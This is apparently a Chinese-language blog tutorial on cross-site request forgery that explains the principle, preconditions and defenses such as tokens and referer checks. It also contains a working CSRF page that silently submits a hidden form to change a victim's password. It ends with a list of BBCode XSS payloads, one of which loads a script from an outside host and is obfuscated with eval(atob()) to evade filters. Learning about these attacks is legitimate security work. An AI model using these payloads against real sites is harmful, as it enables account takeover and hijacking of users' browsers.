CSRF
跨站请求伪造,是一种挟制用户在当前已登录的web应用程序上执行非本意的操作的攻击方法。
攻击者盗用了你在某个网站的身份,以你的名义发送恶意请求。
CSRF漏洞原理
简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
比如修改:只知道请求来自用户的浏览器,但不知道,发起请求的链接是浏览器的哪个标签发出的。
挟持用户
其实我们不能挟持用户,但是我们可以挟持用户的浏览器发送任何的请求。
某些html标签是可以发送HTTP GET类型的请求的。例如< img>
< img src = “http://www.baidu.com”/>
浏览器渲染img标签的时候,并不知道img标签中的src属性的值,到底是不是一个图片,浏览器做的就是根据src中的链接,发起一个HTTP GET请求,并且携带上当前浏览器在目标网站上的凭证,也就是cookies,获取返回接股票以图片的形式渲染
根据这个特性,可以挟持用户的浏览器携带用户凭证发送任意请求
让用户执行非本意的操作
其实用户所有进行的操作,比如发送消息,转账操作,用户操作的只是浏览器,而浏览器通过发送HTTP请求,才是真正的跟Web应用程序交互的操作。
用户浏览器发送出去的HTTP请求代表了用户的操作
可以通过burpsuite抓包获取用户操作背后的HTTP请求,
修改HTTP请求的相关参数后,挟持受害者发送修改后的HTTP请求
受害者在不知情的情况下完成了发送消息或者转账等操作
CSRF攻击过程
CSRF利用前提条件
1.登录信任网站A,并在本地生成Cookie。
2.在不退出的情况下,访问危险网站B。
如果不满足以上两个条件中的一个,就不会受到CSRF的攻击。
CSRF漏洞的分类
GET CSRF
CSRF最初的一个错误观点,认为CSRF只能有GET请求发起,因此一些 开发者认为只要把重要的操作改为只允许POST请求就能防止CSRF
对于很多网站来说,即使是一些重要的操作使用POST来提交请求,但是 服务端在接受请求的时候未严格的区分GET和POST。攻击者依然可以用 GET来请求表单的提交地址。
比如在PHP中,如果使用的是 $ _REQUEST,而$_REQUEST既可以接受 GET请求也可以接受POST请求。
POST CSRF
如果服务端已经区分了GET和POST,只用$_POST来接收请求数据。最简 单的方法就是在攻击页面构造好一个form表单,然后用javascript自动 提交这个表单。
防御
从漏洞原理来看
关键操作增加验证码(比如说支付密码)
验证referer
使用Token
<html>
<head>
<title></title>
</head>
<body>
<center>
<img src="https://profile.csdnimg.cn/8/2/7/3_xhscxj">
</center>
<script type="text/javascript">
//构造form表单
var frm = document.createElement('form'); //新建一个表单
frm.action = 'https://......要提交的网页'; //表单要访问的网址
frm.method = 'post'; //表单用什么方式提交参数
frm.target = 'iframe'; //target属性:如何打开链接,如果不设置target页面就会直接跳转到链接
//设置新的密码
var i1 = document.createElement('input');
i1.name = 'question'; //提交时的用户名
i1.value = 'RenewPWD'; //提交时用户名的值
var i2 = document.createElement('input');
i2.name = 'pwd'; //提交时的密码
i2.value = 'rmb521'; //提交时密码的值
//把input放到表单里
frm.appendChild(i1);
frm.appendChild(i2);
//新建 框架,让表单去框架里跳转 iframe
var ifr = document.createElement('iframe'); //新建一个框架
ifr.name = 'iframe'; //框架名叫iframe
//把表单添加到head里 隐藏
document.head.appendChild(frm);
//把框架添加到head里 隐藏
document.head.appendChild(ifr);
//提交
frm.submit();
</script>
</body>
</html>
可以通过[url][ /url]和[img][/img]标签xss
[img]https://www.xxx.com/xxx.jpg&apos;);alert(1);//[/img]
可以把两个标签穿插起来用
[url]http://www.xx[img].com&apos;);alert(1);[/img][/url]
[url]http://www.xx[img]οnmοuseοver=‘alert(1);//’[/img][/url]
[email][font=οnmοuseοver=location=/javascript:alert%28%22xss%22%29%3b/.source d=]xxxx[/font][/email]
配合atob(“base64编码”)使用
[url]http://www.xx[img]οnmοuseοver= s=document.createElement(‘script’);s.src=‘http://h9.lt/1’;document.body.appendChild(s);//[/img][/url]
s=document.createElement(‘script’);s.src=‘http://h9.lt/1’;document.body.appendChild(s); 把这段代码通过base64转码,再用atob函数转回来与eval函数一起使用
eval(atob(反单引号base64反单引号));
[url]http://www.xx[img]οnmοuseοver=eval(atob(反单引号base64反单引号));//[/img][/url]
然后自己写from表单与相应功能代码,存入xss网站中,如果xss网站中有生成的payload就用xss网站上的,如果没有就用自己写的代码s=document.createElement(‘script’);s.src=‘http://h9.lt/1’;document.body.appendChild(s); 生成的base64编码